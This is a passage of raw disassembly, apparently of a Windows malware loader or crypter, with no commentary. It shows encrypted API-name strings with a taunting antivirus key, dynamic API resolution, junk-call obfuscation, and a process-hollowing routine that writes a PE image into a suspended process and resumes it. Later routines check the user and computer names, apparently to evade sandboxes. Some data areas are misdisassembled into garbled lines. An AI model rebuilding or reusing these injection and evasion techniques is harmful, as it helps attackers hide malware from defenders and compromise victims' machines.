		lea	ecx, [ebp+var_34]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404574
		call	sub_403E78
		mov	eax, [ebp+var_34]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_40767C, eax
		lea	ecx, [ebp+var_38]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_40458C
		call	sub_403E78
		mov	eax, [ebp+var_38]
		call	sub_4037FC
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	dword ptr [esi]
		mov	ds:dword_407698, eax
		lea	ecx, [ebp+var_3C]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_4045AC
		call	sub_403E78
		mov	eax, [ebp+var_3C]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_4076A0, eax
		mov	eax, offset dword_4044D8
		lea	ecx, [ebp+var_40]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		call	sub_403E78
		mov	eax, [ebp+var_40]
		call	sub_4037FC
		push	eax
		push	ebx
		call	dword ptr [esi]
		mov	ds:dword_407678, eax
		push	ebx
		call	ds:dword_40769C	; FreeLibrary
		mov	eax, [ebp+var_4]
		push	eax
		call	ds:dword_40769C	; FreeLibrary
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404426


loc_404411:				; CODE XREF: sub_4041C0+264j
		lea	eax, [ebp+var_40]
		mov	edx, 0Fh
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_40441F:				; DATA XREF: sub_4041C0+19o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404411
; ---------------------------------------------------------------------------


loc_404426:				; CODE XREF: sub_4041C0+25Ej
					; DATA XREF: sub_4041C0+24Co
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4041C0	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 21h
aIam1337rofl@_0	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_4041C0+27o
					; sub_4041C0+49o ...
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_404460	dd 0F1543970h, 0F68FEAECh, 0C0191612h, 0		dd 0FFFFFFFFh, 9
dword_404478	dd 0F3422875h, 0A8D8A8E5h, 50h,	0FFFFFFFFh, 0Ehdword_40448C	dd 0CF52395Ch, 85DFE9FBh, 0C9071658h, 0CFD5h, 0FFFFFFFFh
					; DATA XREF: sub_4041C0+71o
		dd 10h
dword_4044A4	dd 0EB54354Dh, 94D0E7FCh, 0C9011D4Eh, 0C8ABC8C5h, 0
					; DATA XREF: sub_4041C0+94o
		dd 0FFFFFFFFh, 0Ch
dword_4044C0	dd 0EA553949h, 0ACE8E3E4h, 0C814174Eh, 0		dd 0FFFFFFFFh, 10h
dword_4044D8	dd 0CB523948h, 0A5D9F4E1h, 0C21A3158h, 0C496D9D2h, 0
					; DATA XREF: sub_4041C0+DAo
					; sub_4041C0+210o
		dd 0FFFFFFFFh, 11h
; ---------------------------------------------------------------------------


loc_4044F4:				; DATA XREF: sub_4041C0+FDo
		dec	ecx
		cmp	[edi-5], eax
		fxtract
		shl	dword ptr [edi-1EF9FEA7h], cl
		retn
; ---------------------------------------------------------------------------
		db 0D1h, 81h, 0C2h
		dd 38h,	0FFFFFFFFh, 10h
dword_404510	dd 0CB52395Ch, 0A5D9F4E1h, 0C21A3158h, 0C496D9D2h, 0
					; DATA XREF: sub_4041C0+120o
		dd 0FFFFFFFFh, 0Eh
dword_40452C	dd 0FE432E58h, 0B6ECE3FDh, 0DF101153h, 0FDD5h, 0FFFFFFFFh
					; DATA XREF: sub_4041C0+143o
		dd 0Bh
dword_404544	dd 0FA432E5Dh, 0B6DEEFC5h, 0C005Dh, 0FFFFFFFFh,	12h
					; DATA XREF: sub_4041C0+166o
dword_404558	dd 0EB4F2E4Ch, 0ABCED6ECh, 0DF06175Fh, 0DF83D9EBh, 6E33h
					; DATA XREF: sub_4041C0+189o
		dd 0FFFFFFFFh, 0Eh
dword_404574	dd 0EB54354Dh, 85D0E7FCh, 0CF1A1E50h, 0C4E3h, 0FFFFFFFFh
					; DATA XREF: sub_4041C0+1ACo
		dd 14h
dword_40458C	dd 0F1732B41h, 92CCE7E4h, 0E3021755h, 0D38BEFC0h, 0B9FF7E35h
					; DATA XREF: sub_4041C0+1CFo
		dd 0
		dd 0FFFFFFFFh, 10h
dword_4045AC	dd 0F254394Fh, 0B0DDE8E0h, 0C3072259h, 0C39DD9C5h, 0
					; DATA XREF: sub_4041C0+1F5o

; =============== S U B	R O U T	I N E =======================================



sub_4045C0	proc near		; CODE XREF: sub_404604+28p
					; sub_404604+38p ...
		push	ecx
		mov	edx, esp
		call	sub_402BD0
		pop	edx
		retn
sub_4045C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4045CC	proc near		; CODE XREF: sub_404604+20p
					; sub_404604+30p ...

var_108		= byte ptr -108h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF4h
		mov	esi, edx
		mov	ebx, eax
		lea	edx, [esp+114h+var_108]
		mov	eax, ebx
		call	sub_402BC4
		lea	edx, [esp+114h+var_108]
		mov	eax, esp
		mov	cl, 0Bh
		call	sub_402B28
		mov	eax, esi
		mov	edx, esp
		call	sub_403664
		add	esp, 10Ch
		pop	esi
		pop	ebx
		retn
sub_4045CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404604	proc near		; CODE XREF: sub_40468C+8p
					; sub_4046A4+8p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40467E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		nop
		lea	edx, [ebp+var_10]
		mov	eax, ebx
		call	sub_4045CC
		mov	eax, [ebp+var_10]
		call	sub_4045C0
		lea	edx, [ebp+var_C]
		call	sub_4045CC
		mov	eax, [ebp+var_C]
		call	sub_4045C0
		lea	edx, [ebp+var_8]
		call	sub_4045CC
		mov	eax, [ebp+var_8]
		call	sub_4045C0
		lea	edx, [ebp+var_4]
		call	sub_4045CC
		mov	eax, [ebp+var_4]
		call	sub_4045C0
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404685


loc_404670:				; CODE XREF: sub_404604+7Fj
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_40467E:				; DATA XREF: sub_404604+Fo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404670
; ---------------------------------------------------------------------------


loc_404685:				; CODE XREF: sub_404604+79j
					; DATA XREF: sub_404604+67o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404604	endp


; =============== S U B	R O U T	I N E =======================================



sub_40468C	proc near		; CODE XREF: sub_4046C0+195p
		push	ebx
		mov	ebx, eax
		mov	eax, 7Ch
		call	sub_404604
		lea	eax, [ebx+18h]
		movzx	edx, word ptr [ebx+14h]
		add	eax, edx
		pop	ebx
		retn
sub_40468C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046A4	proc near		; CODE XREF: sub_4046C0+1EAp
		push	ebx
		mov	ebx, eax
		mov	eax, 7Ch
		call	sub_404604
		shr	ebx, 1Dh
		mov	eax, ds:dword_4060A0[ebx*4]
		pop	ebx
		retn
sub_4046A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046C0	proc near		; CODE XREF: start+160p

var_148		= dword	ptr -148h
var_A4		= dword	ptr -0A4h
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_4C		= word ptr -4Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_21		= byte ptr -21h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEB8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		call	sub_4037EC
		mov	eax, [ebp+var_C]
		call	sub_4037EC
		xor	eax, eax
		push	ebp
		push	offset loc_404987
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_4041C0
		xor	ebx, ebx
		mov	eax, 7Ch
		call	sub_404604
		lea	eax, [ebp+var_38]
		xor	ecx, ecx
		mov	edx, 10h
		call	sub_402B44
		lea	eax, [ebp+var_7C]
		xor	ecx, ecx
		mov	edx, 44h
		call	sub_402B44
		mov	[ebp+var_7C], 44h
		xor	eax, eax
		mov	al, [ebp+arg_0]
		mov	[ebp+var_4C], ax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_C]
		call	sub_4037FC
		push	eax
		mov	eax, [ebp+var_8]
		call	sub_4037FC
		push	eax
		call	ds:dword_407688
		test	eax, eax
		jz	loc_40496C
		mov	[ebp+var_21], 1
		mov	eax, 7Ch
		call	sub_404604
		xor	eax, eax
		push	ebp
		push	offset loc_404965
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_148], 10002h
		lea	eax, [ebp+var_148]
		push	eax
		mov	eax, [ebp+var_34]
		push	eax
		call	ds:dword_407684
		test	eax, eax
		jz	loc_40492C
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_A4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_407680
		test	eax, eax
		jz	loc_40492C
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_407698
		test	eax, eax
		jb	loc_40492C
		cmp	[ebp+var_4], 0
		jz	loc_40492C
		mov	eax, 7Ch
		call	sub_404604
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		add	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		push	4
		push	3000h
		mov	eax, [ebp+var_20]
		mov	eax, [eax+50h]
		push	eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_40767C
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40492C
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+54h]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_40768C
		test	eax, eax
		jz	loc_40492C
		mov	eax, [ebp+var_20]
		call	sub_40468C
		mov	esi, eax
		mov	eax, 7Ch
		call	sub_404604
		mov	eax, [ebp+var_20]
		movzx	eax, word ptr [eax+6]
		dec	eax
		test	eax, eax
		jb	short loc_4048CD
		inc	eax
		mov	[ebp+var_28], eax
		xor	ebx, ebx


loc_404878:				; CODE XREF: sub_4046C0+20Bj
		lea	eax, [ebp+var_18]
		push	eax
		lea	edi, [ebx+ebx*4]
		mov	eax, [esi+edi*8+10h]
		push	eax
		mov	eax, [esi+edi*8+14h]
		add	eax, [ebp+var_4]
		push	eax
		mov	eax, [esi+edi*8+0Ch]
		add	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_40768C
		test	eax, eax
		jz	short loc_4048C7
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [esi+edi*8+24h]
		call	sub_4046A4
		push	eax
		mov	eax, [esi+edi*8+8]
		push	eax
		mov	eax, [esi+edi*8+0Ch]
		add	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_407694


loc_4048C7:				; CODE XREF: sub_4046C0+1E0j
		inc	ebx
		dec	[ebp+var_28]
		jnz	short loc_404878


loc_4048CD:				; CODE XREF: sub_4046C0+1B0j
		mov	eax, 7Ch
		call	sub_404604
		lea	eax, [ebp+var_18]
		push	eax
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_A4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_40768C
		test	eax, eax
		jz	short loc_40492C
		mov	eax, 7Ch
		call	sub_404604
		mov	eax, [ebp+var_20]
		mov	eax, [eax+28h]
		add	eax, [ebp+var_10]
		mov	[ebp+var_98], eax
		lea	eax, [ebp+var_148]
		push	eax
		mov	eax, [ebp+var_34]
		push	eax
		call	ds:dword_407678
		cmp	eax, 1
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_21], al


loc_40492C:				; CODE XREF: sub_4046C0+DFj
					; sub_4046C0+105j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40496C


loc_404939:				; CODE XREF: sub_4046C0+2AAj
		cmp	[ebp+var_21], 0
		jnz	short loc_40494D
		push	0
		mov	eax, [ebp+var_38]
		push	eax
		call	ds:dword_4076A0
		jmp	short loc_404957
; ---------------------------------------------------------------------------


loc_40494D:				; CODE XREF: sub_4046C0+27Dj
		mov	eax, [ebp+var_34]
		push	eax
		call	ds:dword_407674


loc_404957:				; CODE XREF: sub_4046C0+28Bj
		mov	eax, 7Ch
		call	sub_404604
		mov	bl, [ebp+var_21]
		retn
; ---------------------------------------------------------------------------


loc_404965:				; DATA XREF: sub_4046C0+B7o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404939
; ---------------------------------------------------------------------------


loc_40496C:				; CODE XREF: sub_4046C0+A0j
					; DATA XREF: sub_4046C0+274o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40498E


loc_404979:				; CODE XREF: sub_4046C0+2CCj
		lea	eax, [ebp+var_C]
		mov	edx, 2
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_404987:				; DATA XREF: sub_4046C0+28o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404979
; ---------------------------------------------------------------------------


loc_40498E:				; CODE XREF: sub_4046C0+2C6j
					; DATA XREF: sub_4046C0+2B4o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4046C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40499C	proc near		; DATA XREF: CODE:0040529Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4049C1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4076A4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4049C8


loc_4049C0:				; CODE XREF: sub_40499C+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4049C1:				; DATA XREF: sub_40499C+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4049C0
; ---------------------------------------------------------------------------


loc_4049C8:				; CODE XREF: sub_40499C:loc_4049C0j
					; DATA XREF: sub_40499C+1Fo
		pop	ebp
		retn
sub_40499C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4049CC	proc near		; DATA XREF: CODE:00405298o
		sub	ds:dword_4076A4, 1
		retn
sub_4049CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4049D4	proc near		; CODE XREF: sub_4049DC+80p
		jmp	ds:dword_40812C
sub_4049D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4049DC	proc near		; CODE XREF: start+2Bp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 6


loc_4049E4:				; CODE XREF: sub_4049DC+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4049E4
		push	ecx
		push	ebx
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_404C1E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ecx, [ebp+var_4]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404C60
		call	sub_403E78
		mov	eax, [ebp+var_4]
		call	sub_4037FC
		push	eax
		call	sub_403CD4	; LoadLibraryA
		mov	ebx, eax
		lea	ecx, [ebp+var_8]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404C78
		call	sub_403E78
		mov	eax, [ebp+var_8]
		call	sub_4037FC
		push	eax
		call	sub_403CD4	; LoadLibraryA
		mov	esi, eax
		lea	ecx, [ebp+var_C]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404C90
		call	sub_403E78
		mov	eax, [ebp+var_C]
		call	sub_4037FC
		push	eax
		push	ebx
		call	sub_4049D4	; GetProcAddress
		mov	ds:dword_4076A8, eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404CA8
		call	sub_403E78
		mov	eax, [ebp+var_10]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076CC, eax
		lea	ecx, [ebp+var_14]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404CBC
		call	sub_403E78
		mov	eax, [ebp+var_14]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076AC, eax
		lea	ecx, [ebp+var_18]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404CD8
		call	sub_403E78
		mov	eax, [ebp+var_18]
		call	sub_4037FC
		push	eax
		push	esi
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076B0, eax
		lea	ecx, [ebp+var_1C]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404CF0
		call	sub_403E78
		mov	eax, [ebp+var_1C]
		call	sub_4037FC
		push	eax
		push	esi
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076B4, eax
		lea	ecx, [ebp+var_20]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D0C
		call	sub_403E78
		mov	eax, [ebp+var_20]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076B8, eax
		lea	ecx, [ebp+var_24]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D24
		call	sub_403E78
		mov	eax, [ebp+var_24]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076BC, eax
		lea	ecx, [ebp+var_28]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D3C
		call	sub_403E78
		mov	eax, [ebp+var_28]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076C0, eax
		lea	ecx, [ebp+var_2C]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D54
		call	sub_403E78
		mov	eax, [ebp+var_2C]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076C4, eax
		lea	ecx, [ebp+var_30]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D6C
		call	sub_403E78
		mov	eax, [ebp+var_30]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	ds:dword_4076C8, eax
		lea	ecx, [ebp+var_34]
		mov	edx, offset aIam1337rofl@_1 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404D84
		call	sub_403E78
		mov	eax, [ebp+var_34]
		call	sub_4037FC
		push	eax
		push	ebx
		call	ds:dword_4076A8	; GetProcAddress
		mov	edx, ds:off_4060C0
		mov	[edx], eax
		push	ebx
		mov	eax, ds:off_4060C0
		mov	eax, [eax]
		call	eax
		push	esi
		mov	eax, ds:off_4060C0
		mov	eax, [eax]
		call	eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404C25


loc_404C10:				; CODE XREF: sub_4049DC+247j
		lea	eax, [ebp+var_34]
		mov	edx, 0Dh
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_404C1E:				; DATA XREF: sub_4049DC+15o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404C10
; ---------------------------------------------------------------------------


loc_404C25:				; CODE XREF: sub_4049DC+241j
					; DATA XREF: sub_4049DC+22Fo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4049DC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 21h
aIam1337rofl@_1	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_4049DC+23o
					; sub_4049DC+45o ...
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_404C60	dd 0F1543970h, 0F68FEAECh, 0C0191612h, 0		dd 0FFFFFFFFh, 0Ch
dword_404C78	dd 0FE50387Ah, 0F68FEFF9h, 0C0191612h, 0		dd 0FFFFFFFFh, 0Eh
dword_404C90	dd 0CF52395Ch, 85DFE9FBh, 0C9071658h, 0CFD5h, 0FFFFFFFFh
					; DATA XREF: sub_4049DC+6Co
		dd 0Bh
dword_404CA8	dd 0EB4F245Eh, 0A7D3F4D9h, 60159h, 0FFFFFFFFh, 12h
					; DATA XREF: sub_4049DC+92o
dword_404CBC	dd 0D952395Ch, 85D9EAE0h, 0C5070648h, 0D59AC9C4h, 5632h
					; DATA XREF: sub_4049DC+B9o
		dd 0FFFFFFFFh, 0Ch
dword_404CD8	dd 0CA52395Ch, 8ACEE3FAh, 0ED101F5Dh, 0		dd 0FFFFFFFFh, 10h
dword_404CF0	dd 0DC52395Ch, 0B1CCEBE6h, 0E2071748h, 0F18BD1C7h, 0
					; DATA XREF: sub_4049DC+107o
		dd 0FFFFFFFFh, 0Dh
dword_404D0C	dd 0FB48355Dh, 0ABCFE3DBh, 0C9160049h, 0E7h, 0FFFFFFFFh
					; DATA XREF: sub_4049DC+12Eo
		dd 0Eh
dword_404D24	dd 0FA5C3548h, 0A1EEE0E6h, 0DE001D4Fh, 0D9C5h, 0FFFFFFFFh
					; DATA XREF: sub_4049DC+155o
		dd 0Ch
dword_404D3C	dd 0FB473357h, 0ABCFE3DBh, 0C9160049h, 0		dd 0FFFFFFFFh, 0Ch
dword_404D54	dd 0F4453357h, 0ABCFE3DBh, 0C9160049h, 0		dd 0FFFFFFFFh, 0Ch
dword_404D6C	dd 0FA432E5Dh, 0ABCFE3DBh, 0C9160049h, 0		dd 0FFFFFFFFh, 0Bh
dword_404D84	dd 0FA432E5Dh, 0B6DEEFC5h, 0C005Dh
; =============== S U B	R O U T	I N E =======================================



sub_404D90	proc near		; CODE XREF: sub_405138+20p
					; sub_405138+30p ...

var_108		= byte ptr -108h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF4h
		mov	esi, edx
		mov	ebx, eax
		lea	edx, [esp+114h+var_108]
		mov	eax, ebx
		call	sub_402BC4
		lea	edx, [esp+114h+var_108]
		mov	eax, esp
		mov	cl, 0Bh
		call	sub_402B28
		mov	eax, esi
		mov	edx, esp
		call	sub_403664
		add	esp, 10Ch
		pop	esi
		pop	ebx
		retn
sub_404D90	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_404DC8	proc near		; CODE XREF: sub_405138+28p
					; sub_405138+38p ...
		push	ecx
		mov	edx, esp
		call	sub_402BD0
		pop	edx
		retn
sub_404DC8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404DD4	proc near		; CODE XREF: sub_404E94+1Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_404E42
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_8], 0FDh
		lea	eax, [ebp+var_4]
		mov	edx, 0FEh
		call	sub_403854
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_4037FC
		push	eax
		call	ds:dword_4076B0	; GetUserNameA
		lea	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		call	sub_403854
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		call	sub_4035B4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404E49


loc_404E39:				; CODE XREF: sub_404DD4+73j
		lea	eax, [ebp+var_4]
		call	sub_403560
		retn
; ---------------------------------------------------------------------------


loc_404E42:				; DATA XREF: sub_404DD4+11o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404E39
; ---------------------------------------------------------------------------


loc_404E49:				; CODE XREF: sub_404DD4+6Dj
					; DATA XREF: sub_404DD4+60o
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_404DD4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404E50	proc near		; CODE XREF: sub_404E94+46p

var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebx
		add	esp, 0FFFFFEFCh
		mov	ebx, eax
		mov	[esp+108h+var_108], 100h
		push	esp
		lea	eax, [esp+10Ch+var_104]
		push	eax
		call	ds:dword_4076B4
		test	eax, eax
		jz	short loc_404E82
		mov	eax, ebx
		lea	edx, [esp+108h+var_104]
		mov	ecx, 100h
		call	sub_403670
		jmp	short loc_404E89
; ---------------------------------------------------------------------------


loc_404E82:				; CODE XREF: sub_404E50+1Ej
		mov	eax, ebx
		call	sub_403560


loc_404E89:				; CODE XREF: sub_404E50+30j
		add	esp, 104h
		pop	ebx
		retn
sub_404E50	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E94	proc near		; CODE XREF: sub_40520Cp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_404F1D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		lea	eax, [ebp+var_4]
		call	sub_404DD4
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		mov	edx, offset aIam1337rofl@_2 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404F60
		call	sub_403E78
		mov	edx, [ebp+var_8]
		pop	eax
		call	sub_403748
		jnz	short loc_404F02
		lea	eax, [ebp+var_C]
		call	sub_404E50
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset aIam1337rofl@_2 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404F74
		call	sub_403E78
		mov	edx, [ebp+var_10]
		pop	eax
		call	sub_403748
		jnz	short loc_404F02
		mov	bl, 1


loc_404F02:				; CODE XREF: sub_404E94+41j
					; sub_404E94+6Aj
